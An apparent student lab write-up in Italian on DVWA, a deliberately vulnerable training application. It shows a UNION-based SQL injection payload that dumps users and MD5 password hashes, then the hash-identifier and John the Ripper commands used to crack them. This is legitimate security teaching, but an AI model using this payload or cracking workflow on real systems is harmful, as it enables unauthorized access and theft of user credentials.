Password Cracking - Recupero delle Password in Chiaro

Recupero delle Password dal Database:

Ho eseguito un attacco SQL INJECTION sul database DVWA e ho recuperato gli utenti e le password tramite la query:

' UNION SELECT user,password FROM dvwa.users --

```
ID: ' UNION SELECT user,password FROM dvwa.users --
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password FROM dvwa.users --
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password FROM dvwa.users --
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password FROM dvwa.users --
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password FROM dvwa.users --
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

Ho creato un file hashdvwa.txt e ho inserito gli users e e le password:

```
┌──(root㉿kali)-[/home/kali]
└─# cat hashdvwa.txt
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

Identificazione delle Password Hashate:

Uso il tool hash-identifier per verificare l'hash:

Esecuzione del Cracking delle Password:

A questo punto uso il tool john the ripper per crackare le password mediante il comando:

john --incremental --format=RAW-MD5 hashdvwa.txt

Eseguo il comando: john --show --format=Raw-MD5 hashdvwa.txt per mostrare le password crackate